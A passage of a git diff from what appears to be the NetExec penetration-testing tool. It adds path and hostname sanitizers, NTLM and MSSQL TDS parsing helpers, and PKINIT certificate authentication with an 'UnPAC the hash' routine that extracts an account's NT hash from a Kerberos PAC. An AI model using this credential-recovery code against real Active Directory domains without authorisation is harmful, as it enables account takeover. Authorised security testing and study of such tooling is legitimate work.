directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
|
||||
|
||||
for d in directories:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
|
||||
return users
|
||||
|
||||
@staticmethod
|
||||
def decode_login_data(data):
|
||||
asn1data = decoder.decode(b64decode(data))
|
||||
@@ -1,9 +1,12 @@
|
||||
from contextlib import suppress
|
||||
from enum import Enum
|
||||
import hashlib
|
||||
import random
|
||||
import string
|
||||
import re
|
||||
import inspect
|
||||
import os
|
||||
from unicodedata import normalize
|
||||
from termcolor import colored
|
||||
from ipaddress import ip_address
|
||||
from nxc.logger import nxc_logger
|
||||
@@ -26,6 +29,91 @@ def gen_random_string(length=10):
|
||||
return "".join(random.sample(string.ascii_letters, int(length)))
|
||||
|
||||
|
||||
def sanitize_dns(hostname, logger=nxc_logger):
|
||||
"""Return an untrusted hostname or domain as a safe, nonempty string."""
|
||||
# Always provide a safe fallback, even for missing or unstringable input.
|
||||
if hostname is None:
|
||||
return "_"
|
||||
|
||||
try:
|
||||
hostname = hostname.decode("utf-8", errors="surrogateescape") if isinstance(hostname, bytes) else str(hostname)
|
||||
except Exception:
|
||||
return "_"
|
||||
if not hostname:
|
||||
return "_"
|
||||
|
||||
# Replace path, configuration, formatting, whitespace, and control characters.
|
||||
unsafe_characters = '<>:"/\\|?*{}[]=#;\'' # Portable paths, format strings, hosts files, and krb5.conf
|
||||
sanitized = "".join(
|
||||
character if character.isprintable()
|
||||
and not character.isspace()
|
||||
and character not in unsafe_characters
|
||||
and all(
|
||||
normalized_character.isprintable()
|
||||
and not normalized_character.isspace()
|
||||
and normalized_character not in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
else "_"
|
||||
for character in hostname
|
||||
)
|
||||
|
||||
# Neutralize traversal segments and Windows-trimmed trailing dots.
|
||||
if normalize("NFKC", sanitized) in (".", ".."):
|
||||
sanitized = "_" * len(sanitized)
|
||||
if sanitized.endswith(".") or normalize("NFKC", sanitized[-1]).endswith("."):
|
||||
sanitized = f"{sanitized[:-1]}_"
|
||||
|
||||
# Bound filename length while retaining a stable identifier for long names.
|
||||
if len(sanitized.encode("utf-8")) > 253:
|
||||
suffix = f"_{hashlib.sha256(hostname.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
|
||||
byte_length = 0
|
||||
truncated = []
|
||||
for character in sanitized:
|
||||
character_length = len(character.encode("utf-8"))
|
||||
if byte_length + character_length > 253 - len(suffix):
|
||||
break
|
||||
truncated.append(character)
|
||||
byte_length += character_length
|
||||
sanitized = f"{''.join(truncated)}{suffix}"
|
||||
|
||||
# Fail closed if a future change violates any output invariant.
|
||||
normalized = normalize("NFKC", sanitized)
|
||||
if (
|
||||
not sanitized
|
||||
or not normalized
|
||||
or len(sanitized.encode("utf-8")) > 253
|
||||
or normalized in (".", "..")
|
||||
or normalized.endswith(".")
|
||||
or any(
|
||||
not character.isprintable()
|
||||
or character.isspace()
|
||||
or character in unsafe_characters
|
||||
or any(
|
||||
not normalized_character.isprintable()
|
||||
or normalized_character.isspace()
|
||||
or normalized_character in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
for character in sanitized
|
||||
)
|
||||
):
|
||||
sanitized = "_"
|
||||
|
||||
# Report changed input without allowing logging failures to affect safety.
|
||||
if sanitized != hostname:
|
||||
received = ascii(hostname[:256])
|
||||
result = ascii(sanitized)
|
||||
if len(hostname) > 256 or len(received) > 256:
|
||||
received = f"{received[:253]}..."
|
||||
if len(result) > 256:
|
||||
result = f"{result[:253]}..."
|
||||
if logger is not None:
|
||||
with suppress(Exception):
|
||||
logger.fail(f"Unsafe hostname or domain received: {received}; using {result}")
|
||||
return sanitized
|
||||
|
||||
|
||||
def validate_ntlm(data):
|
||||
allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
|
||||
return bool(allowed.match(data))
|
||||
@@ -226,6 +314,18 @@ def convert(low, high, lockout=False):
|
||||
return time
|
||||
|
||||
|
||||
def parse_argument(argument: list) -> list:
|
||||
"""Parse input from an argparse argument, which can be either a value or a file containing values."""
|
||||
parsed_items = []
|
||||
for item in argument:
|
||||
if os.path.isfile(item):
|
||||
with open(item) as f:
|
||||
parsed_items.extend(line.strip() for line in f if line.strip())
|
||||
else:
|
||||
parsed_items.append(item.strip())
|
||||
return parsed_items
|
||||
|
||||
|
||||
def display_modules(args, modules):
|
||||
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
|
||||
# Add category filter for module listing
|
||||
|
||||
@@ -0,0 +1,96 @@
|
||||
# Parsing helpers for auth negotiation: NTLM challenges and TDS ERROR/INFO on MSSQL LOGIN7.
|
||||
# Original NTLM parsing from: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
|
||||
|
||||
import struct
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket.smb3 import WIN_VERSIONS
|
||||
from impacket.tds import TDS_ERROR_TOKEN, TDS_INFO_TOKEN, TDS_INFO_ERROR
|
||||
import contextlib
|
||||
|
||||
|
||||
def parse_challenge(challange):
|
||||
target_info = {
|
||||
"hostname": None,
|
||||
"dns_hostname": None,
|
||||
"domain": None,
|
||||
"os_version": None
|
||||
}
|
||||
challange = ntlm.NTLMAuthChallenge(challange)
|
||||
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
|
||||
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["dns_hostname"] = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode("utf-16le")
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
|
||||
if "Version" in challange.fields:
|
||||
version = challange["Version"]
|
||||
if len(version) >= 4:
|
||||
major_version = version[0]
|
||||
minor_version = version[1]
|
||||
product_build = struct.unpack("<H", version[2:4])[0]
|
||||
if product_build in WIN_VERSIONS:
|
||||
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
|
||||
else:
|
||||
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
|
||||
return target_info
|
||||
|
||||
|
||||
def decode_tds_info_error_msgtext(data, offset):
|
||||
"""Extract MsgText from a TDS ERROR (0xAA) or INFO (0xAB) token at *offset*.
|
||||
|
||||
Official spec: [MS-TDS] Tabular Data Stream Protocol (Microsoft Learn).
|
||||
Token layout per MS-TDS 2.2.7.9 (INFO) / 2.2.7.10 (ERROR):
|
||||
TokenType BYTE 0xAA | 0xAB
|
||||
Length USHORT LE byte count of the remaining fields
|
||||
Number LONG LE error / info number
|
||||
State BYTE
|
||||
Class BYTE severity
|
||||
MsgText US_VARCHAR (2-byte LE length prefix + UTF-16LE)
|
||||
... (ServerName, ProcName, LineNumber follow but are unused here)
|
||||
|
||||
The minimum *Length* value for a valid token is 8: Number(4) + State(1) +
|
||||
Class(1) + MsgText length prefix(2, may be zero-length string).
|
||||
|
||||
References (Microsoft Learn, MS-TDS):
|
||||
INFO: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/284bb815-d083-4ed5-b33a-bdc2492e322b
|
||||
ERROR: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/9805e9fa-1f8b-4cf8-8f78-8d2602228635
|
||||
Data packet stream tokens: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/f79bb5b8-5919-439a-a696-48064b78b091
|
||||
"""
|
||||
remaining = len(data) - offset
|
||||
if remaining < 3 or data[offset] not in (TDS_ERROR_TOKEN, TDS_INFO_TOKEN):
|
||||
return None
|
||||
|
||||
# Length (USHORT LE) after TokenType, see MS-TDS INFO/ERROR links in docstring
|
||||
payload_len = int.from_bytes(data[offset + 1 : offset + 3], "little")
|
||||
|
||||
if payload_len < 8 or remaining < 3 + payload_len:
|
||||
return None
|
||||
try:
|
||||
token = TDS_INFO_ERROR(data[offset:])
|
||||
text = token["MsgText"].decode("utf-16le").strip()
|
||||
except Exception:
|
||||
return None
|
||||
return text or None
|
||||
|
||||
|
||||
def login7_integrated_auth_error_message(packet_data, data_after_login_header):
|
||||
"""Scan raw LOGIN7 response buffers for the first ERROR/INFO message.
|
||||
|
||||
When a server does not support Integrated Windows Authentication it replies
|
||||
to the LOGIN7 NTLMSSP negotiate with a TDS error token instead of an
|
||||
NTLMSSP challenge. This helper locates the first ERROR (0xAA) or INFO
|
||||
(0xAB) token in either the full packet or the payload after the 3-byte
|
||||
LOGIN7 response header and returns its MsgText.
|
||||
"""
|
||||
token_markers = (TDS_ERROR_TOKEN, TDS_INFO_TOKEN)
|
||||
for buf in filter(None, (packet_data, data_after_login_header)):
|
||||
for offset in (i for i in range(len(buf)) if buf[i] in token_markers):
|
||||
msg = decode_tds_info_error_msgtext(buf, offset)
|
||||
if msg:
|
||||
return msg
|
||||
return None
|
||||
@@ -1,34 +0,0 @@
|
||||
# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
|
||||
|
||||
import struct
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket.smb3 import WIN_VERSIONS
|
||||
import contextlib
|
||||
|
||||
|
||||
def parse_challenge(challange):
|
||||
target_info = {
|
||||
"hostname": None,
|
||||
"domain": None,
|
||||
"os_version": None
|
||||
}
|
||||
challange = ntlm.NTLMAuthChallenge(challange)
|
||||
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
|
||||
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
|
||||
if "Version" in challange.fields:
|
||||
version = challange["Version"]
|
||||
if len(version) >= 4:
|
||||
major_version = version[0]
|
||||
minor_version = version[1]
|
||||
product_build = struct.unpack("<H", version[2:4])[0]
|
||||
if product_build in WIN_VERSIONS:
|
||||
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
|
||||
else:
|
||||
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
|
||||
return target_info
|
||||
@@ -0,0 +1,107 @@
|
||||
import hashlib
|
||||
from pathlib import PurePosixPath
|
||||
import re
|
||||
from unicodedata import normalize
|
||||
|
||||
|
||||
def sanitize_path_component(name, max_bytes=255):
|
||||
"""Return one portable, bounded path component from untrusted input."""
|
||||
# Reserve enough space for one character and the collision-resistant suffix.
|
||||
if max_bytes < 14:
|
||||
raise ValueError("max_bytes must be at least 14")
|
||||
|
||||
# Always provide a safe fallback, even for missing or unstringable input.
|
||||
try:
|
||||
name = name.decode("utf-8", errors="surrogateescape") if isinstance(name, bytes) else str(name) if name is not None else ""
|
||||
except Exception:
|
||||
name = ""
|
||||
if not name:
|
||||
return "_"
|
||||
|
||||
# Replace path, control, and Unicode-equivalent metacharacters.
|
||||
unsafe_characters = '<>:"/\\|?*' # Portable filename metacharacters
|
||||
sanitized = "".join(
|
||||
character if character.isprintable()
|
||||
and character not in unsafe_characters
|
||||
and all(
|
||||
normalized_character.isprintable() and normalized_character not in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
else "_"
|
||||
for character in name
|
||||
)
|
||||
|
||||
# Neutralize traversal-only names and Windows-trimmed trailing dots or spaces.
|
||||
if normalize("NFKC", sanitized) in (".", ".."):
|
||||
sanitized = "_" * len(sanitized)
|
||||
while sanitized and (
|
||||
sanitized[-1] == "."
|
||||
or sanitized[-1].isspace()
|
||||
or normalize("NFKC", sanitized[-1]).endswith(".")
|
||||
or any(character.isspace() for character in normalize("NFKC", sanitized[-1]))
|
||||
):
|
||||
sanitized = f"{sanitized[:-1]}_"
|
||||
|
||||
# Avoid Windows device names, including names followed by an extension.
|
||||
normalized_stem = normalize("NFKC", sanitized).split(".", 1)[0].rstrip(" ").upper()
|
||||
if normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem):
|
||||
sanitized = f"_{sanitized}"
|
||||
|
||||
# Bound the byte length with a stable digest while preserving short extensions.
|
||||
if len(sanitized.encode("utf-8")) > max_bytes:
|
||||
digest = f"_{hashlib.sha256(name.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
|
||||
extension = ""
|
||||
extension_index = sanitized.rfind(".")
|
||||
if (
|
||||
extension_index > 0
|
||||
and len(sanitized[extension_index:].encode("utf-8")) <= 32
|
||||
and len(sanitized[extension_index:].encode("utf-8")) <= max_bytes - len(digest)
|
||||
):
|
||||
extension = sanitized[extension_index:]
|
||||
sanitized = sanitized[:extension_index]
|
||||
byte_length = 0
|
||||
truncated = []
|
||||
for character in sanitized:
|
||||
character_length = len(character.encode("utf-8"))
|
||||
if byte_length + character_length > max_bytes - len(digest) - len(extension.encode("utf-8")):
|
||||
break
|
||||
truncated.append(character)
|
||||
byte_length += character_length
|
||||
sanitized = f"{''.join(truncated)}{digest}{extension}"
|
||||
|
||||
# Fail closed if a future change violates any output invariant.
|
||||
normalized = normalize("NFKC", sanitized)
|
||||
normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper()
|
||||
if (
|
||||
not sanitized
|
||||
or not normalized
|
||||
or len(sanitized.encode("utf-8")) > max_bytes
|
||||
or normalized in (".", "..")
|
||||
or normalized.endswith(".")
|
||||
or normalized[-1].isspace()
|
||||
or normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"}
|
||||
or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem)
|
||||
or any(
|
||||
not character.isprintable()
|
||||
or character in unsafe_characters
|
||||
or any(
|
||||
not normalized_character.isprintable() or normalized_character in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
for character in sanitized
|
||||
)
|
||||
):
|
||||
return "_"
|
||||
return sanitized
|
||||
|
||||
|
||||
def sanitize_filename(name: str) -> str:
|
||||
"""Strip path traversal components from an SMB filename.
|
||||
|
||||
Follows the pattern from spider_plus.py — filters '..' and '.' from
|
||||
PurePosixPath.parts to prevent directory traversal attacks from
|
||||
malicious SMB servers.
|
||||
"""
|
||||
parts = PurePosixPath(name.replace("\\", "/")).parts
|
||||
clean = [p for p in parts if p not in ("..", ".", "/")]
|
||||
return str(PurePosixPath(*clean)) if clean else ""
|
||||
+193
-501
@@ -1,524 +1,216 @@
|
||||
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
#
|
||||
# Description:
|
||||
# This script will use an existing TGT to request a PAC for the current user using U2U.
|
||||
# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
|
||||
# used for silver tickets and for backwards compatibility with other tooling.
|
||||
# Certificate authentication for nxc: PKINIT (RFC 4556) through impacket, plus UnPAC the hash
|
||||
#
|
||||
# References:
|
||||
#
|
||||
# PKINIT: https://www.rfc-editor.org/rfc/rfc4556
|
||||
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
|
||||
#
|
||||
# Based on examples from minikerberos by skelsec
|
||||
# Parts of this code was inspired by the following project by @rubin_mor
|
||||
# https://github.com/morRubin/AzureADJoinedMachinePTC
|
||||
#
|
||||
# Author:
|
||||
# Tamas Jos (@skelsec)
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
#
|
||||
# Authors:
|
||||
# Azox (@azoxlpf) for the PKINIT implementation, in impacket and in nxc
|
||||
# Dirk-jan Mollema (@_dirkjan) for the original UnPAC the hash implementation
|
||||
|
||||
import os
|
||||
import secrets
|
||||
import hashlib
|
||||
import datetime
|
||||
import random
|
||||
import base64
|
||||
import datetime
|
||||
import os
|
||||
import random
|
||||
import tempfile
|
||||
|
||||
from binascii import unhexlify, hexlify
|
||||
|
||||
from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
|
||||
from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
|
||||
|
||||
from asn1crypto import cms
|
||||
from asn1crypto import algos
|
||||
from asn1crypto import core
|
||||
from asn1crypto import keys
|
||||
|
||||
from minikerberos.pkinit import PKINIT, DirtyDH
|
||||
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
|
||||
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
|
||||
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
|
||||
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
|
||||
from binascii import hexlify
|
||||
|
||||
from pyasn1.codec.der import decoder, encoder
|
||||
from pyasn1.error import PyAsn1Error
|
||||
from pyasn1.type.univ import noValue
|
||||
|
||||
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
|
||||
from impacket.krb5.kerberosv5 import sendReceive
|
||||
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
|
||||
PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
|
||||
from impacket.krb5.types import Principal, KerberosTime, Ticket
|
||||
from impacket.krb5.asn1 import AD_IF_RELEVANT, AP_REQ, AS_REP, Authenticator, EncTicketPart, TGS_REP, TGS_REQ, Ticket as TicketAsn1, seq_set, seq_set_iter
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.crypto import InvalidChecksum, _enctype_table
|
||||
from impacket.krb5.kerberosv5 import KerberosError, sendReceive
|
||||
from impacket.krb5.pac import NTLM_SUPPLEMENTAL_CREDENTIAL, PACTYPE, PAC_CREDENTIAL_DATA, PAC_CREDENTIAL_INFO, PAC_INFO_BUFFER
|
||||
from impacket.krb5.pkinit import PKINITCredentials, PKINITError, getKerberosTGTPKINIT
|
||||
from impacket.krb5.types import KerberosTime, Principal, Ticket
|
||||
|
||||
# Imports for pfx_auth
|
||||
from minikerberos.network.clientsocket import KerberosClientSocket
|
||||
from minikerberos.common.target import KerberosTarget
|
||||
from minikerberos.common.ccache import CCACHE
|
||||
|
||||
from impacket.krb5.ccache import CCache as impacket_CCache
|
||||
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH, TMP_PATH
|
||||
|
||||
|
||||
class myPKINIT(PKINIT):
|
||||
def pkinit_credentials(args):
|
||||
"""Load the client certificate and its private key as the PKINIT credentials impacket expects"""
|
||||
if args.pfx_cert:
|
||||
return PKINITCredentials.fromPFX(args.pfx_cert, args.pfx_pass)
|
||||
|
||||
if args.pfx_base64:
|
||||
with open(args.pfx_base64, "rb") as pfx_base64_file:
|
||||
pfxdata = base64.b64decode(pfx_base64_file.read())
|
||||
return PKINITCredentials.fromPFXData(pfxdata, args.pfx_pass, source=f"the base64 PFX file {args.pfx_base64}")
|
||||
|
||||
if args.pem_cert and args.pem_key:
|
||||
return PKINITCredentials.fromPEM(args.pem_cert, args.pem_key, args.pfx_pass)
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def read_nt_hash_from_pac(connection, enc_ticket_part, reply_key):
|
||||
"""Return the NT hash held by the PAC_CREDENTIAL_INFO of a ticket, or None when the PAC carries none"""
|
||||
decoded_ticket_part = decoder.decode(enc_ticket_part, asn1Spec=EncTicketPart())[0]
|
||||
ad_if_relevant = decoder.decode(decoded_ticket_part["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[0]
|
||||
pac_type = PACTYPE(ad_if_relevant[0]["ad-data"].asOctets())
|
||||
|
||||
buffers = pac_type["Buffers"]
|
||||
for _ in range(pac_type["cBuffers"]):
|
||||
info_buffer = PAC_INFO_BUFFER(buffers)
|
||||
buffers = buffers[len(info_buffer):]
|
||||
connection.logger.debug(f"PAC buffer type {info_buffer['ulType']}")
|
||||
if info_buffer["ulType"] != 2: # PAC_CREDENTIAL_INFO
|
||||
continue
|
||||
|
||||
credential_info = PAC_CREDENTIAL_INFO(pac_type["Buffers"][info_buffer["Offset"] - 8:][:info_buffer["cbBufferSize"]])
|
||||
cipher = _enctype_table[credential_info["EncryptionType"]]
|
||||
# Key usage 16: the PAC credential info, encrypted with the AS reply key
|
||||
credential_data = cipher.decrypt(reply_key, 16, credential_info["SerializedData"])
|
||||
serialization_header = TypeSerialization1(credential_data)
|
||||
# Skip the 4 bytes of the ReferentID of the pointer following the header
|
||||
credentials = PAC_CREDENTIAL_DATA(credential_data[len(serialization_header) + 4:])
|
||||
for credential in credentials["Credentials"]:
|
||||
supplemental_credential = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(credential["Credentials"]))
|
||||
return hexlify(supplemental_credential["NtPassword"]).decode()
|
||||
|
||||
connection.logger.fail("The PAC holds no PAC_CREDENTIAL_INFO: the account has no NT hash stored, or the TGT did not come from PKINIT")
|
||||
return None
|
||||
|
||||
|
||||
def unpac_the_hash(connection, username, tgt, cipher, reply_key, session_key):
|
||||
"""Recover the NT hash of the account the TGT belongs to, through a U2U service ticket to itself
|
||||
|
||||
Only a PKINIT AS-REP carries a PAC_CREDENTIAL_INFO, and the KDC encrypts it with the AS reply key,
|
||||
which the TGT does not expose: it has to be read from a ticket requested with that very TGT.
|
||||
Returns None, after logging why, when the hash cannot be recovered
|
||||
"""
|
||||
Copy of minikerberos PKINIT
|
||||
With some changes where it differs from PKINIT used in NegoEx
|
||||
"""
|
||||
|
||||
@staticmethod
|
||||
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
|
||||
with open(pfxfile, "rb") as f:
|
||||
pfxdata = f.read()
|
||||
|
||||
if b64:
|
||||
pfxdata = base64.b64decode(pfxdata)
|
||||
|
||||
return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
|
||||
|
||||
@staticmethod
|
||||
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
# oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
|
||||
if not pfxpass:
|
||||
from cryptography.hazmat.primitives.serialization import pkcs12
|
||||
from cryptography.hazmat.primitives import serialization
|
||||
privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
|
||||
pem_key = privkey.private_bytes(
|
||||
encoding=serialization.Encoding.PEM,
|
||||
format=serialization.PrivateFormat.TraditionalOpenSSL,
|
||||
encryption_algorithm=serialization.NoEncryption(),
|
||||
)
|
||||
pkinit.privkey = load_private_key(parse_private(pem_key))
|
||||
pem_cert = cert.public_bytes(
|
||||
encoding=serialization.Encoding.PEM
|
||||
)
|
||||
pkinit.certificate = parse_certificate(pem_cert)
|
||||
else:
|
||||
if isinstance(pfxpass, str):
|
||||
pfxpass = pfxpass.encode()
|
||||
pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
|
||||
pkinit.privkey = load_private_key(pkinit.privkeyinfo)
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
@staticmethod
|
||||
def from_pem(certfile, privkeyfile, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
with open(certfile, "rb") as f:
|
||||
pkinit.certificate = parse_certificate(f.read())
|
||||
with open(privkeyfile, "rb") as f:
|
||||
pkinit.privkey = load_private_key(parse_private(f.read()))
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
def sign_authpack(self, data, wrap_signed=False):
|
||||
return self.sign_authpack_native(data, wrap_signed)
|
||||
|
||||
def setup(self, dh_params=None):
|
||||
self.issuer = self.certificate.issuer.native["common_name"]
|
||||
if dh_params is None:
|
||||
nxc_logger.display("Generating DH params...")
|
||||
nxc_logger.display("DH params generated.")
|
||||
else:
|
||||
if isinstance(dh_params, dict):
|
||||
self.diffie = DirtyDH.from_dict(dh_params)
|
||||
elif isinstance(dh_params, bytes):
|
||||
self.diffie = DirtyDH.from_asn1(dh_params)
|
||||
elif isinstance(dh_params, DirtyDH):
|
||||
self.diffie = dh_params
|
||||
else:
|
||||
raise Exception("DH params must be either a bytearray or a dict")
|
||||
|
||||
def build_asreq(self, domain=None, cname=None, kdcopts=None):
|
||||
if kdcopts is None:
|
||||
kdcopts = ["forwardable", "renewable", "renewable-ok"]
|
||||
if isinstance(kdcopts, list):
|
||||
kdcopts = set(kdcopts)
|
||||
if cname is not None:
|
||||
if isinstance(cname, str):
|
||||
cname = [cname]
|
||||
else:
|
||||
cname = [self.cname]
|
||||
|
||||
now = datetime.datetime.now(datetime.timezone.utc)
|
||||
|
||||
kdc_req_body_data = {}
|
||||
kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
|
||||
kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
|
||||
kdc_req_body_data["realm"] = domain.upper()
|
||||
kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
|
||||
kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
|
||||
kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
|
||||
kdc_req_body_data["nonce"] = secrets.randbits(31)
|
||||
kdc_req_body_data["etype"] = [18, 17] # 23 breaks...
|
||||
kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
|
||||
|
||||
checksum = hashlib.sha1(kdc_req_body.dump()).digest()
|
||||
|
||||
authenticator = {}
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = now.replace(microsecond=0)
|
||||
authenticator["nonce"] = secrets.randbits(31)
|
||||
authenticator["paChecksum"] = checksum
|
||||
|
||||
dp = {}
|
||||
dp["p"] = self.diffie.p
|
||||
dp["g"] = self.diffie.g
|
||||
dp["q"] = 0 # mandatory parameter, but it is not needed
|
||||
|
||||
pka = {}
|
||||
pka["algorithm"] = "1.2.840.10046.2.1"
|
||||
pka["parameters"] = keys.DomainParameters(dp)
|
||||
|
||||
spki = {}
|
||||
spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
|
||||
spki["public_key"] = self.diffie.get_public_key()
|
||||
|
||||
authpack = {}
|
||||
authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
|
||||
authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
|
||||
authpack["clientDHNonce"] = self.diffie.dh_nonce
|
||||
|
||||
authpack = AuthPack(authpack)
|
||||
signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
|
||||
|
||||
payload = PA_PK_AS_REQ()
|
||||
payload["signedAuthPack"] = signed_authpack
|
||||
|
||||
pa_data_1 = {}
|
||||
pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
|
||||
pa_data_1["padata-value"] = payload.dump()
|
||||
|
||||
pa_data_0 = {}
|
||||
pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
|
||||
pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
|
||||
|
||||
asreq = {}
|
||||
asreq["pvno"] = 5
|
||||
asreq["msg-type"] = 10
|
||||
asreq["padata"] = [pa_data_0, pa_data_1]
|
||||
asreq["req-body"] = kdc_req_body
|
||||
|
||||
return AS_REQ(asreq).dump()
|
||||
|
||||
def sign_authpack_native(self, data, wrap_signed=False):
|
||||
"""
|
||||
Creating PKCS7 blob which contains the following things:
|
||||
|
||||
1. 'data' blob which is an ASN1 encoded "AuthPack" structure
|
||||
2. the certificate used to sign the data blob
|
||||
3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
|
||||
"""
|
||||
da = {}
|
||||
da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1
|
||||
|
||||
si = {}
|
||||
si["version"] = "v1"
|
||||
si["sid"] = cms.IssuerAndSerialNumber({
|
||||
"issuer": self.certificate.issuer,
|
||||
"serial_number": self.certificate.serial_number,
|
||||
})
|
||||
|
||||
si["digest_algorithm"] = algos.DigestAlgorithm(da)
|
||||
si["signed_attrs"] = [
|
||||
